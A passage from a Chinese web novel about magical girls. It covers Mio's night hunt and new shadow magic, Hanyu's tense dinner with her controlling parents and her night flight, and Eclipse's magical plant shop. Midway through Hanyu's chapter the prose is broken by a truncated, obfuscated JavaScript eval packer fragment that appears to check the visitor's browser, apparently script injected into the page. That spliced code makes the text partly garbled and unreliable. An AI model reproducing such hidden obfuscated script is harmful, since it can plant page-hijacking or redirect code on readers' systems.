与之前她自己模糊不清的言辞不同,森山寺未央并非是近期才成为魔法少女的,她自从能使用魔法已经有了近一年的时间了,但由于她遇到了种种困难,所以一直都没怎么主动出击狩猎魔物,这也是她魔力储蓄与初中毕业才成为魔法少女的有乐羽生相比都非常低下的原因。 森山寺未央无法理解魔法,无法使用魔法,空有魔力却不懂如何输出。 唯一的突破口在于她同化的魔物若是本身会使用魔法,那她便也能学会那些魔物的魔法,她寻思这或许是因为自己的精神魔法能让她快速侵入式了解这些魔物,了解它们的行动方式后也顺带从内部理解了那些魔法的使用方式。 这种学习魔法的方式是收集型的,森山寺未央知道自己若是想要变得更强就得以量取胜,但获得了大量的魔物后她又需要想出一个更有效率的方法来驱使这些魔物,因为召唤魔法的消耗非常大,可以说是所有魔法中消耗最大的了。 初始能使用的魔法消耗巨大,无法自主领悟使用起来更简单的魔法,从而难以狩猎魔物,以导致魔力总储蓄量无法上涨,无法弥补魔法的消耗,听上去像是一个死循环了。 但现在,自从遇到了那些更为强大的同伴,她有自信自己也能做到。无论是狩猎魔物也好,还是成为强大的魔法少女也好,她绝对做得到。 目前为止除了精神同化之外,森山寺未央所掌握的魔法只有一种“变形”,来自她向艾克里普演示时放出的那只黑色巨人。也是靠着这个魔法她能够让魔物变为卡牌的样子收纳在披风之中,以作为媒介减少部分召唤魔力损耗,甚至若是只要短时间内重新变回魔力卡牌,那接下来再次召唤就不再需要消耗魔力了。 召唤手下的魔力消耗依据手下本来的实力和魔物手下的魔法类型而定,森山寺未央对魔法只有少量了解,她猜测变形魔法大概是某种幻术魔法,只是配合魔物本身的强大身体素质而有了不错的杀伤力。变形魔法的消耗不算大,但魔物本身素质算是不错的,综合来说,召唤它的魔法消耗正好卡在一个比最基础召唤魔法魔力消耗量多,但又不会多到现在的森山寺未央无法承受的阶段,但同样的,召唤了它之后森山寺未央本身就不剩多少魔力了。 没有魔力就意味着战斗失败死亡,魔法少女战斗最好留下10%左右的魔力,打不过就跑! 以森山寺未央此时的魔力总量来说,进行一次手下召唤需要消耗全部的魔力,但若是使用卡牌作为媒介,就只需要消耗大概2/3的原魔力消耗,说“只”什么的她自己都觉得有点寒颤了,但没办法,她自己也知道自己情况特殊,没什么好埋冤的。 但她能感受到,若是使用更多魔力进行召唤,那手下就可以以更强大的模样被召唤出来,这样的话概念上来说她不就没有成长上限了吗?这样想着森山寺未央心里不禁又开心了起来。 不过她还未敢尝试对自己使用变形魔法,因为她怕自己变不回来,或许可以让艾克里普帮忙尝试一下。 夜晚的居民区街道显得格外安静,森山寺未央准备开始自己的夜间行动了。 初春的夜风带着一丝湿冷,轻轻掠过树梢,枝头刚冒出的新芽在昏黄的路灯下微微晃动。整条街道静谧无声,只有远处偶尔传来汽车驶过的低沉引擎声和风中轻微的树叶沙沙声。 在成为魔法少女之后森山寺未央便意识到自己的日常能量消耗随着魔力上限的增加而变大了,同时她还未理解如何通过魔力转换为自己提供能量和治疗,这个大概也是某种需要学习的魔法吧。大多数战斗她都只能站在远处指挥以防止受伤,同时自己悄悄补充能量防止周围人察觉自己的变化,以 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这附近算是安全区,街道两侧的房屋多是近十几年建好的公寓楼,几扇窗户还透着温暖的橙色灯光,但大多数都已熄灭。偶尔有一两个行人裹紧衣领,匆匆走过,脚步声在空旷的街巷中显得格外清晰,森山寺未央也是其中之一,她快速穿过居民区来到西部的森林附近,这里更加萧索一些,周围有些小树林,这里也是她选择的通道。 踏着地面未完全干透的雨痕,靠着反射着的路灯微弱的光,森山寺未央吸收着空气里弥漫着湿冷的泥土味与淡淡的花香,正式开始了自己的夜巡,黑暗是很好的保护色,她放出黑色巨人让其变形为合适的样子并指挥其背负自己在黑暗的森林中前行。 她没有选择进入那更深处的漆黑茂密丛林,因为进去之后她就没办法确保自己能全身而退了,森山寺未央自信,但同时也有着一定的自知之明。 手下比森山寺未央本人动作笨拙一些,但也无惧障碍,凹凸不平的地面和忽然探出来的数字或石头对于她本人来说是障碍物,但对于手下来说不过是前进的时候好像有什么撞到了腿的程度,坐在它肩头的森山寺未央只需要担心有树枝会刮她的头发就好。 魔法少女进行变身之后,魔法少女装束相当于将自己的本质体现在外表上,增强自己对于魔力的亲和力。在这种情况下魔法少女体内的魔力循环会变得流畅,具体体现在身体素质变好,魔法使用效率更高,以及种种其它功能。 当然,也有彰显“魔法少女”的身份这一功能哦! 大概十分钟左右,森山寺未央便明显感知到了有魔物在靠近自己,若是寻常人遇到这种情况那么下场大概便只有变成失踪人士或者被判定为自杀,所以她也不理解为何自己有时会在森林里看见普通人的踪迹,或者说遗迹。 魔物是森山寺未央至今没办法理解为何存在于世间的存在,它们吞噬生命,并模仿自己吞噬的生命,却又不曾聚集在一起达成某种更难以对付的组织。她同化魔物时除了理解其中的魔法就也没有更多的收获了,在她看来,魔物更像是有了意识的魔力集合体一般。 人类是魔物的猎物,动物也是,而且更加便于狩猎。所以除了人流量多的区域以外,这种没什么人的树林里的魔物也不少。因为视线限制也同样适用于魔物,不过人类看到魔物后魔物并不会消散就是了。魔物通常是有一定智慧的,像是狩猎的野兽。 森山寺未央紧张了起来,她握紧了手里的手杖。她的手杖是她特征的衍生物,与有乐羽生那把为了战斗而得到的魔刀不同,她的手杖并没有什么战斗能力。她一开始发现自己能控制魔物手下之后就注意到了一件事,那就是她是需要自己指挥手下的一举一动的,有点像是在开机器人,不过危险性更高一点的同时她还需要注意自身和手下的各种状态。 在这样的情况下,若是她遇到需要使用很多魔法的情况那或许会手忙脚乱吧,抱着这样的想法森山寺未央捏出了一个用于记录魔法的手杖,以作为媒介快速使用魔法。不过至今为止她还没有遇到过手忙脚乱的情况,毕竟她会的魔法太少了。 虽然不曾见过其余二人使用魔法的样子,但艾克里普使用起魔法近乎不需要思考,她只是抬手,魔法便靠在她手中。但森山寺未央需要思考,学会了魔法之后再次使用魔法也是有个短暂的使用过程的,硬要说的话类似于在脑子里把招数名字喊出来的感觉? 直接喊出来也可以就是了,但不太适合战斗不是吗? 名为“变形”的魔法实际上相当的万能,而随着森山寺未央多次狩猎魔物的经历,她对此魔法的运用熟练度也愈发高深,例如此时她扬起手杖指挥黑色巨人通过变形在顶端的脑袋位置变化出一个圆形保护舱,让她得以在受到保护的同时以更加清晰的视角指挥巨人战斗。 在深夜的森林中,月光稀薄,星光若隐若现。树木密布的阴影中,魔物的身形显露了一角,它的身体与棕熊相仿,全身却覆盖着流动的黑暗,眼睛如同燃烧的红炭。 在双方都察觉到彼此的一刹那战斗一触即发。魔物首先发动攻击,它看似是手臂的肢体迅速拉长并分裂开,变为柔软的触手快速地在树木间穿梭,试图从黑暗中伸出,捕捉这送上门的猎物。 然而,森山寺未央的反应异常迅速,她甚至不需要开口,巨人便不顾对方攻势迅猛前冲,巨大的身躯在树林中造成阵阵风声,就如她判断的那样,虽然那些触手对巨人造成了一些伤害,但远远未及阻止它进攻的力量,而那些细小的伤害很快便通过魔力补足。 但她不想就这样消耗魔力,于是巨人的手臂在她的指令下变形,转化为旋转的利刃,像陀螺一般围绕本体高速旋转,将途径的树木和触手统统切割开来。 魔物愤怒地嘶吼,从四面八方发起更加猛烈的攻势。它的触手如同黑夜中的幽灵,忽隐忽现,企图围困这个庞大的敌人。但森山寺未央却未曾动摇,她冷静地分析着每一次攻击的路径,每一次指令都精确无误地避免巨人的本体受到伤害。 在一阵激烈的对抗后两者的距离足够接近了,于是她看准了时机,果断地下达最后的指令,并准备自己跳出原来所在的地方落在一旁的枯枝上。她原本的身体绝无可能做出这样精彩的后空翻,但现在,她只是双腿用力就把自己蹬出去了,一阵手忙脚乱之后趴在了树枝上。 下一秒巨人的整个身躯在她的操控下开始剧烈地旋转,形成了一个巨大的旋风,其速度快到几乎看不见身形。 魔物这才开始怕死,放弃收回触手试图逃离这突如其来的灾难,但已经太迟。巨人的旋风如同割草机,无情地将这只魔物撕裂成无数碎片,随风散去,树林中恢复了暂时的宁静。 在魔物被撕碎的一瞬间,森山寺未央迅速跳下并使用精神同化,那四处纷飞的碎片很快便定格,像是被吸入漩涡一般流动着飞到她的身前,杂乱无章的颜色诉说着魔物的存在还未消失,她右侧的披风扬起,提起手杖对准那团杂物,下一瞬间它便化为了一张纯黑色扑克牌,缓缓飞进了披风的内侧。 随着卡牌的信息被森山寺未央理解,那个模糊且扭曲的黑色轮廓也成为了可以指挥的魔物,若是再次召唤便可以看见其眼睛如燃烧的红炭般闪烁。魔物的强度不高,胜在敏捷性和隐蔽性,可以用来偷袭,召唤需要的魔力也比变形魔物少一些。 随着这只魔物的魔力被森山寺未央吸收,她现在可以同时召唤她有的两只魔物了,可喜可贺! 每次将这些卡牌变形为指定的形状,森山寺未央都要输出魔力,她思索着应该有更加有效率的储存使用方式,拿游戏来说的话就是需要一些省去中间步骤的“快捷键”。 这个魔物为森山寺未央带来了她想要的技能:“化影”,此技能赋予使用者能够在阴影中几乎无声无息地移动的能力。在启动这个技能时,使用者的身体会与周围的暗影融为一体,大大降低被发现的可能性。根据使用的感觉,森山寺未央推测这算是一种持续性魔法,长时间使用的话魔力消耗还挺高的,但可以随用随开,灵活性很强。 随即她让黑色巨人回归卡牌,自己尝试使用化影在森林中移动,她望向自己刚才站过的地方,心念一动便化为黑色的影子如水一般融入地面,并在那枝头处膨胀出一个人影,裂开变为她的样子。 这个魔法在夜间近乎是无敌的,她非常满意,在白日里也能发挥用处,哪怕目的地有仅一片树叶大小的影子她也能以此作为媒介进行穿梭。 “至少以后出门不需要藏着掖着了。”森山寺未央松了口气。 虽然说无法学习理解魔法的使用,但这样掌握魔法的行径对她而言并不是一件坏事。 既然有了目标,那便只需要一直往前走了。 7. 五 早些时候的暮色下,一辆银灰色的宾利飞驰稳地停在宅邸的正门口。 随后后座的车门无声打开,有乐羽生轻踏下车,鞋跟在石板路面上发出清脆的声响。她挺直腰背,步伐优雅而沉稳,与在犬山晓面前的轻松姿态截然不同,身后的车门随即被关上,车辆静静驶向侧边停车区。 面前被提前拉开的的大门采用简洁的现代风设计,但把手上却是纯装饰意义的繁杂复古雕塑,沉重的金属门板上嵌着黑色钢质雕刻细节,若是下雨的话会有一股难以忽视的锈腥味。 庭院内,园丁正在修剪青翠的松树和花圃中的矮竹丛,修剪工具发出细微的“咔嚓”声。刻意做旧的石灯笼旁,两名侍者正仔细清扫鹅卵石小径,动作轻柔,哪怕那些鹅卵石比起稻草扫把坚固得多。庭院中有一方水池,水波因竹筒偶尔滴下的水珠荡漾,倒映着星空和修剪整齐的绿植,散发着淡淡的,有乐羽生的妈妈有乐千奈最喜欢的幽静之美。 但有乐羽生并没有为此美景停留,也未曾与其中的任何人对话,只是穿过庭院小径,偶尔点头致意,步履不急不缓。前方台阶尽头,门口站着一位面容沉稳的中年管家,身着熨烫平整的深色西装,神色一丝不苟。 “欢迎回来。”她微微鞠躬,伸手接过她手里的书包,动作一如既往恭敬得无可挑剔,有乐羽生朝她点了点头,走入宅邸。 玄关处铺着深色木地板,墙壁上悬挂着几幅字画,装饰柜上整齐摆放着一排瓷器花瓶与漆器,每一件都因刻意的配件组装显得名贵。屋内的整体设计出自风格低调自然的名家之手,但不论是墙上的山水画还是展示柜中的青花瓷,都给有乐羽生一种用力过猛、刻意炫耀的感觉。 她小时候以为这是正常的,但直到她参观过几次传统的老建筑,就逐渐发现自己家里多余的装饰物实在是太多了。 几名侍者穿着统一的制服,脚步轻盈却整齐划一,随时待命般站在房间各处,眼神小心翼翼,生怕触犯什么不成文的规矩。 有乐羽生刚走进玄关,管家低头躬身说,“请您先更衣,晚饭将在七点钟后准时开始。” 没有多余的解释或等待,准时是无法打破的家规之一。有乐羽生微微点头,虽然心底涌起一丝疲惫,却依旧保持着礼仪老师与母亲培养出的优雅姿态,缓步走向楼梯。 木质楼梯年代感难以忽视,扶手被擦得锃亮但根本没有人会扶,她的脚步踩在地毯上上面几乎没有声音。 整栋宅邸内的一切都井然有序,仿佛经过精确的计算和摆放,无论是墙边的花瓶、还是展示柜中的古董瓷器,甚至空气中的香气,都没有一丝突兀。正是这种刻意的完美,同样让她感到无形的压迫感如影随形。 她轻推开二楼卧室的门,屋内的灯光柔和地亮起,整个房间整齐得近乎冷清。相比于一楼的装饰风格,她的房间要简洁许多,墙壁上几乎没有多余的装饰,家具以深色木质为主,风格依然带着一贯的复古气息,但少了那些用于炫耀的字画和瓷器。 书桌上的笔和本子摆放得整整齐齐,窗台上仅有一盆小小的绿植,床被铺得平整无褶皱,显然刚被仔细打扫过,这些东西虽然属于有乐羽生,但她总觉得自己仅仅拥有使用权。房间干净得几乎没有半点属于她个人的痕迹,几乎难以看出这真的是她的空间。 靠在门边长长地吐出一口气,盯着窗外逐渐暗下来的天色,有乐羽生半晌没动。她很清楚,接下来的晚饭会像往常一样压抑。 有乐家家规极为严格,通常情况下用餐时间绝不允许迟到,除非父母因公事无法回家吃饭。餐桌上不许发出多余声音,不许无事开口说话,动作必须优雅准确,甚至连咀嚼和拿筷子的角度都有标准。 虽早已习惯这一切,却从未感到轻松。成为魔法少女之后的有乐羽生常常在夜间出游,哪怕是什么事也不做地漂浮于夜空之中也令她感到安稳,但与此相比家庭环境反而令她感到更加压抑了,与父母交谈时内心的挣扎也愈发明显。 但她不对此感到后悔,她决心一定会好好藏起自己的秘密。 换上衣服后有乐羽生提前来到餐厅坐下等待,不久后她的父母也入座。主餐厅内的桌子足以容纳十几个人,但此刻接待的人只有她和父母。餐桌上的布置一丝不苟,洁白的餐布铺展得毫无褶皱,每一套餐具都摆放在精准的位置,银质刀叉和细边骨瓷餐盘光滑得几乎可以映出人影。 餐厅的长桌在水晶吊灯下闪着柔和却略显冰冷的光。晚餐是标准的西式三道菜,除了主菜是温热的烤牛排,其余的冷餐显得格外正式却缺乏温度。 前菜是烟熏三文鱼和鹅肝酱,沙拉用小碟单独呈现,一片片生菜叶被精心摆盘,连多余的水滴都被擦拭干净。桌角的餐具是19世纪的英式银器套装,据某次晚宴上她听父母与来客吹嘘说是从某个欧洲古董拍卖会上购得。 有乐羽生端坐在座位上,背挺得笔直,保持微笑,她已经习惯了这样的用餐场合,虽然每一次都让她有些喘不过气来。 “今天入学仪式怎么样?”母亲率先开口,带着一丝不容忽视的审视感。她优雅地切下一块牛排,眼睛始终注视着自己的女儿,却并不是真的在等答案。 “校长讲话很有意义。”有乐羽生简短作答,正准备低头继续用餐,她的父亲接过话头,似乎并不满意她的敷衍。 “老师有说新学期的内容吗?”他一边慢条斯理地搅拌汤匙,一边用平静却带有威压的语气询问。 有乐羽生下意识地绷紧身体,强迫自己保持微笑,尽量语气平和地回答。“今天并没有特意讲重要的内容,主要是想让新同学融入环境。”她说得小心翼翼,心中却清楚任何答案都必须是正确的,否则会迎来更详细的追问。 餐桌旁的侍者们始终保持安静,动作机械而精准,每一次倒酒、递盘都无声无息,仿佛不存在一样。 桌上的食物丰盛精致,每个人的谈话都是单向的,像一场有预设答案的对话游戏。 有乐羽生低头切着盘中的牛排,强迫自己一口一口慢慢咀嚼,心里盘算着离开餐桌还有多长时间。每一口食物都变成了一种负担,而她的微笑早已凝固成面具。 除了学校里的事务以外,父母之间谈论的内容有乐羽生也必须要听。无论是街道路面坍塌导致的争论真正的缘由,还是这件事最终会走向什么,导致什么,她都要听都要学。 餐食被咀嚼殆尽后侍者带走餐盘,但父母没有离座,有乐羽生明白这是对方有话要和自己说。 “乐队的事,我已经从你的同学口里知道了。你居然背着我们跟那些普通人在一起?你在想什么?”父亲语气冷静但带着压迫感。 果然还是被知道了,有乐羽生心想,虽然她也没想着完全瞒过父母,但这也太快了。她脑内天生目白的脸一闪而过,今日下午去交申请表时现场人不少,但她是唯一和她交流过的,也知道她是去交申请表的。 “我只是想在高中尝试些点自己喜欢的事,音乐是我的兴趣,我想试试看。”有乐羽生虽早有预感但依旧非常紧张,但笑容是不变的。 “兴趣?你初中时的兴趣不是钢琴吗?还有剑道呢?即使不是这些你的兴趣也应该是好好学习、准备奖项去考一流的大学,亦或者提升自己,而不是跟那些来路不明的人鬼混!你知道她们是什么样的人吗?她们能带给你什么?” 母亲的声音锋利。 “你不会是普通人,你有你该走的路。我们给你提供了最好的环境、最好的教育,你却把时间浪费在这些毫无意义的事情上?我不是不让你追求梦想,但你不能自降身份,去跟那些普通人混在一起!” “你是不是应该清醒一些?你在做出决定之前思考了吗?” “你要令我们失望了吗?你还记得自己说过的话吧,我教过你说到做到不是吗?” 这又是谁的话,又是什么时候说的,好像很久以前就听过很多次同样的话了,每一次听到这样的话都会感到被迎面痛击的那个人是谁?有乐羽生心知肚明,越来越重的思绪压在她心头,但很快,她只是眨了眨眼,就已经恢复了平常心。 有乐羽生没有如同以前那样仅仅是低下头沉默不语,她不能放弃保护自己的秘密,但她也想要让自己的父母明白,她想要靠着自己获得属于自己的东西。 哪怕她从很早以前就明白了,她的父母对于她怀有纯粹的“爱”的可能性低到近乎没有,但她还是想要向她们证明,让她们看见自己作为一个完整的人的存在。 “这是我思考后的决定,我不会放弃的。我会对我做的事和选择负责的,日常的学业我不会落下。”她语速加快,声音略微颤抖但依旧坚定。 母亲冷笑一声,“朋友?朋友有什么用?等你需要真正的帮助时,那种人能帮你什么?你以为凭你们几个高中生的能力,真的能做成什么?到最后,你会发现自己只是在浪费时间,自取其辱而已,就像是那家伙一样。” 有乐羽生明白那家伙指的是谁,自己一意孤行的态度明显让母亲想起了自己的姐姐,虽然嘴上说着不承认她的存在,也不提及她的名字,但每次二人发自真心地为自己生气时便会不由自主地提起她。 这也令她明白,眼前的二人是真的为此感到生气,而不是佯装生气来测试她的态度。 “你还太天真,这件事不过是你一时冲动罢了。到时候吃点苦头,你自己就会放弃了。”父亲语气放缓,却并不是在安慰她。 “我会证明自己能做到,朋友之间不是用身份和背景来衡量的。”有乐羽生声音平稳地说,“抱歉让你们担心了。” “既然你这么坚持,我们不会阻止你,毕竟你也是高中生了。不过我提醒你,我们不会在这件事上为你提供任何帮助。”父亲沉默片刻,叹了口气。 “失败的时候,别忘了是谁一开始就劝过你。”母亲的微笑带着冷意。 “谢谢你们给我这个机会。”有乐羽生的语气十分平静,她并非真的有多喜欢乐队这一存在,但她清楚,那些魔法少女绝不是普通人,这给了她一些底气。 在父母先行离开后,她回到卧室,关上门时,耳边依旧回荡着父母最后那轻蔑的语气,说着否认自己的话。 母亲的名字是有乐千奈,父亲的名字是有乐善太郎。但比起名字,身份,或者说“爸爸妈妈”,母亲与父亲的称呼和象征意义才是有乐羽生觉得重要的那部分。 门咔塔一声合上后,她向前走两步,想到桌边坐下,但却没能抵达便坐倒在了地上。靠着床她深吸一口气,因为不这样做的话肺部便无法如往常一般本能地工作,但即使空气进入了肺部身体也没有变得轻盈起来,喉咙像是被装了阀门一般阻碍其主人从重压中解脱。 但这实际上是她第一次真正意义上与父母有来有回地争论,并且取得了较为成功的结果,她知道这并不是结束,而只是刚刚开始。 有乐羽生抬手,之前从犬山晓那里得到的一套裙子便落在她的腿上,犬山晓说不需要归还。 这件裙子她很喜欢,布料柔软,颜色是牛仔布料特有的蓝。但这却不应该属于她,因为她的房间里实际上没有地方可以放这条裙子,偶尔她也感觉这个家里同样没有她的容身之地,她只是一个笑着厚起脸皮的借住者。 着装也好,姿态也好,说出的话也好,如果表现出来的一切都不属于自己的话,那我真的属于这里吗?有乐羽生看向窗外发呆,蓝调时刻的天空暗暗地压着大地,灯火亮起却也无法驱散天空的暗。 胃袋空荡荡的感觉袭来,方才桌上的食物若是被认真进食那只能维持五分钟左右。她早就不满足于那样的食物了,无论是味道还是形式。 有乐羽生重新收起裙子站了起来,她饱受魔法少女特有的消耗增大的折磨,或许是因为作为特性的那双羽翼无时无刻托举着她的身躯增大了魔力消耗,她从觉醒魔力开始就几乎时刻处于饥饿状态。 有乐家的“晨食”为日式,样式繁多且每日不重样,但量少;“晚宴”为西式,极为注重营养搭配,食材新鲜且稀有昂贵,但量少;中午若是在学校吃午饭那便是和其它学生会成员一起,比起吃饭更像是在开会,若是在家里那大多数情况是参加聚会,她开口进食的机会完全比不上开口说话的机会多。 更何况有乐家崇尚“忍耐是美德”,将少吃作为展现自制力的方式,周日实行断食,从主人家到侍者全都只吃一顿没味道的早饭。 可以说有乐羽生没有营养不良多亏了营养师的神奇奶昔,每日一瓶在放学后的车上提供,口味不好说就是了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她依旧没法想象自己独自一人的模样,甚至害怕离开目前的生活方式,尽管维持现状也没法让她得到多少安慰。 将房间门锁上后,有乐羽生从窗户跃出,任凭头发随风乱舞。她的身影在空中逐渐变得透明,宛若一缕薄雾消散在夜色中,一对羽翼在月光下悄然熠熠生辉。羽翼轻拍,她在高空中滑行,感受着夜风轻柔地抚过,心中一片宁静,刚才的一切都被她抛之脑后,思绪仿佛融入无垠的夜幕。 下方的居民区静谧安详,街道被的路灯点亮,远远看去光线温和而朦胧,照在几辆停靠的车上。偶有一只猫从墙角闪过。住宅窗户偶尔透出暖黄的灯光,像是安睡中的城市在微微呼吸。 远方,城市市中心的天际线如珠宝般闪烁。高楼林立,霓虹灯的色彩交织成一幅斑斓画卷。车流在远处蜿蜒如闪光的丝带,灯光的律动映照着这座城市的心跳。 在这样飞行了许久后,有乐羽生感到自己的内心已经不再为之前的争吵感到悲伤。她还记得第一次跳入夜空时自己的心情,那颗心脏从未这样主动地跳动过,她低头看向这座她出生起便一直游走其中的城市,第一次明白了为何美丽可以震撼人心。 于是她笑了,发自内心地感到愉快而微笑,不管几次她都会为这样的飞行感到开心,在这里她感觉自己不属于地面,也不属于那个没有她的容身之地的家,她只是她自己,亦或者什么都不是,只是空气中的一部分实体而已。 这是她从小时候起就藏在心里的愿望:想离开这里,想离地面远一点,想离所有人远一点。 每次被打击到的有乐羽生,只要心里还有这片天空,便能够怀抱勇气。 但现在并不是一个合适的时间让她去进行一次长时间的飞行,她需要尽快找到可以买到食物的地方,而且价格还不能很高。 在寂静的夜空中,有乐羽生在羽翼的轻轻振动下缓缓滑翔。她俯瞰下方的街道,四周几乎陷入沉睡,只有少数几家便利店的灯光还亮着,她在空中徘徊,最终锁定了一家24小时营业的小店。她悄然降落,脚尖轻轻触地,羽翼收拢隐去无形,走进店内。 空气中弥漫着熟食,糕点,和咖啡的温暖气息,有乐羽生在冰柜区挑选了几样没见过的食物,感慨便利店居然也有卖这样的东西。她站在收银台前正准备结账时,忽然注意到收银台旁摆着一个抽奖箱,海报上写着醒目的字样:“满额抽奖赢取梦幻游乐园体验券!”,无法按耐好奇心的她转身又拿了些东西凑满金额。 “请抽取一张卡片。”收银员从一旁取过一个堆叠着密封卡片袋的纸盒,有乐羽生随意抽了一张卡片,翻开的一瞬间,竟赫然写着“恭喜获得游乐园门票一张!” “哎呀,恭喜您!这是一等奖!”看待结果的收银员笑着这样说,哪怕是在无人的半夜也拿起小铃铛摇了起来。 有乐羽生一时愣住,心跳加速。游乐园!一个她听说过无数次,却从未真正踏足过的奇妙世界。 日之森的出游从来不会去游乐园,仅在高中毕业那一年有可能会由老师带去主题乐园进行毕业旅行,其余时间多数是简单的旅游或者参观。她偶尔会在假期结束时听学生会的其它成员诉说自己的快乐经历,心里羡慕的同时也知道自己父母绝不可能做同样的事。 霓虹灯、旋转木马、摩天轮,甚至是甜腻的棉花糖香气,仿佛都在这一刻涌进她的想象。她不自觉地攥紧了收银员递来的门票,眼中闪烁着从未有过的期待与兴奋。 有乐羽生不仅想去,而且想和朋友一起去,这个朋友并不是指学生会里的其它成员,而是指Mirare乐队的其它人,在她未察觉时她的内心悄然将其它人都归为了“需要保密的外人”。 就好像她以前从未考虑以自己的名义悄悄邀请学生会里的同学出游,那些同学的交往是经过父母的默许的,上门交际亦或者赠礼可以直接使用明面上的资金。 拎着袋子的有乐羽生开心地看着手里的门票走出便利店,脚步不自觉地漂浮起来。 不知道她们愿意一起去吗?虽然说大家才认识,但是这可是游乐园!不过想邀请别人的话应该准备好门票吧,这张门票是多少钱来着?有乐羽生又苦恼了起来,将解决财务问题提前了日程。 8. 六 在市中心地区的西部边角上,有一家不在电子地图上标识的“夜藤事务所”,是一栋独栋的二层小楼,提供高级植物的售卖和护理服务。 街坊邻居都知道这家百年老店的历史,但对于它的现状却不甚了解。十几年前左右经营事务所的夜藤夫妇去世之后将这栋老屋子交给了学徒,也就是现在的主人。那位学徒在将门店关闭并重新装修之后重新开放,却不似以往提供高级植物和鸟类售卖护理服务,改为仅提供植物,但种类却是更加难以理解了。 白日里大门基本上是关着的,如果有人透过玻璃门向内窥探,只能隐约看到一楼是植物陈列区,地板是深色木质的,散发着淡淡的木香,四周摆满了造型各异的植株。 有人说这里是植物收藏家的圣地,有人则认为店主有着“古怪的癖好”,甚至有人相信夜藤事务所是研究神秘学的地方。 复古砖墙包裹的老房子门口摆放着两盆巨大的蔓藤植物。店牌是手工木雕,细纹彰显它的年龄,泛着暗绿色的光泽,隐约可见“夜藤事务所”四个字。门口悬挂着一盏老式铜质吊灯,夜晚发出柔和的暖光。 若是偶然遇上它开门便会有人因好奇而走进去,看见墙上装饰着旧日的照片和植物标本,角落里甚至摆放着几只空的鸟笼。中心有一张宽大的木质柜台,柜台后方是高高的书架,摆满了书籍和装饰瓶。 店内夜间的灯光昏暗但温暖,柔和的光线从植物间隙中穿过,投下斑驳的影子,掩盖了通往二楼和地下室的楼梯。 这家店的主人,也就是当年作为学徒继承事务所名牌的人,正是艾克里普-阿尔卡纳。 由于规则禁令她无法直接通过精神干涉人们的记忆,多年前她观测许久,使用变形魔法改变了外在年龄,研究了一个走投无路的孩子的表现该是什么样的,犹豫了很久,最终敲响了这家店主脾气古怪的事务所的门,成为了一名不需要工资但日常生活于此的学徒。 这么多年来,艾克里普看着夜藤夫妇成为城中远近闻名的倔强老人,二人固执而冷淡,从不向社会潮流妥协。这也是艾克里普挑中这处地方的原因之一,她想要与社会产生联系,却又不擅长与社会产生联系。 那对夫妇几乎将她视作自己的孩子去教育,这一点令艾克里普感到无奈又感动,她的记忆加起来比这座城市还要古老的多,自然无法被她们的教育改变。但真挚的感情是艾克里普珍视的,她自知无法真的作为两位老人的孩子背负她们的想法和意念,也决心将她们留下的一切妥善地保护好。 守旧的老人更愿意维持这家店最初的模样,不张贴广告,也不宣传。即便被认为是过时或冷门的也不在乎。正因为这种倔强,夜藤事务所的客人始终稀少。 而多年以后,夜藤夫妇与那些像是朋友一般的常客都相继离开了,只有门口的牌子留了下来,还有一些植物和鸟类。 艾克里普也保持了这样的传统,甚至因为从今往后她白日里需要去上学,这家店只在她夜里狩猎魔物回来之后才开门。偶尔有人经过这里会发出感慨:这家店到底什么时候才会关门。 今天的夜藤事务所开门格外地早,天色才刚刚暗下来不久,艾克里普便回来了,她捡起放在门口的几封邮件,两株大型藤蔓伸展着朝她打招呼,像是在欢迎她回家。 事务所的一层和地下室都被各种植物占领着,一些格外特殊的便放在二楼,那里是属于艾克里普的魔法工坊。 不像是其他蜕变于普通人的魔法少女,艾克里普作为魔法王国的一员天生便对于与魔力相关的事物敏感,她不需要进食或者睡眠,但会本能地追逐包含魔力的东西。 虽然说艾克里普现在仅仅负责保护这个城市,但为了收集含有魔力的物品她没少往世界各地跑,距离对她来说只是数字而不是问题,偶尔遇到了外地有魔物作祟她也会帮忙铲除。 二楼的魔法工坊的一角,地面上有一组以三角形和正方形们组成的简易世界地图,每一个折角都是一处传送锚点,以供艾克里普前往世界各地。 人类无法具体地观测到魔力造成的事件,国家政府也不会公开承认有魔物或者魔法的存在,但总有一些个人或者组织会察觉到其中问题,甚至想利用其进行牟利。 艾克里普清楚人类的劣性,虽然说她无法干涉精神,但也能想出一些方法。 这世间的某处集中魔力浓度达到一个程度就会反应到她设下的锚点地图阵法上上,并提醒艾克里普前往解决问题,但好在这世间的魔法少女虽然数量稀少但都很负责。自此之前十余年她都没有遇到过这样的情况。 常人无法在艾克里普不允许的情况下进入夜藤事务所,更无法前往二楼的工坊,对于她来说这个常人指的是除了她以外的所有人。就她在装修时附加在小楼外侧的防护来说,哪怕地图板块整体都粉碎沉没,它也能独自矗立于地面上。 于是乎二楼完全不掩盖它的异于常人,一个用石砖垒成的小炉灶静静地立在角落,上方吊着一口古铜色的大锅,炉灶旁摆放着几束尚未燃尽的木柴。整个魔法工坊宁静而温暖,空气中弥漫着树木与草药的香气,仿佛每一寸空间都带着生命的气息,因为工坊本身就是用魔力构建而成的,与艾克里普一同呼吸、共鸣。 而现在,艾克里普正在为自己的架子鼓规划一块区域出来。 在回到日之森附近与森山寺未央分开之后,她对于这种与魔法相关的交流深感触动,虽然那三位魔法少女与她相比都显然是稚嫩的,但同伴就是同伴,这样的联系令她感到由衷的开心。 已经有多久未曾与这样的同伴交流过了,艾克里普已经不记得了,但她明白这次一定与以往那样仅仅是短暂的合作关系不一样,她们四人会拥有名为友谊的珍贵之物,这是她从前想要接触却又望而却步的存在之一。 而其中这名为乐队的存在也是她想要重视的。 但很可惜的是,她常去的商区并不售卖架子鼓这样的大件乐器,而大多数乐器行这个时间都已经关门了,想来也不急于这一时,艾克里普决定先为工坊内划出一块区域用来摆设她的新道具。 将靠近窗户的区域清空后,艾克里普转身下楼,坐在一楼的柜台后准备查阅刚刚在门口捡起的邮件。 夜藤事务所的门口不设有邮箱,只在角落里悬挂着门牌号,建筑被施予了掩人耳目但不会让人下意识忽视的魔法,若是有谁想要投递信件那么直接放在门口就是,多年来一直是这个做法。 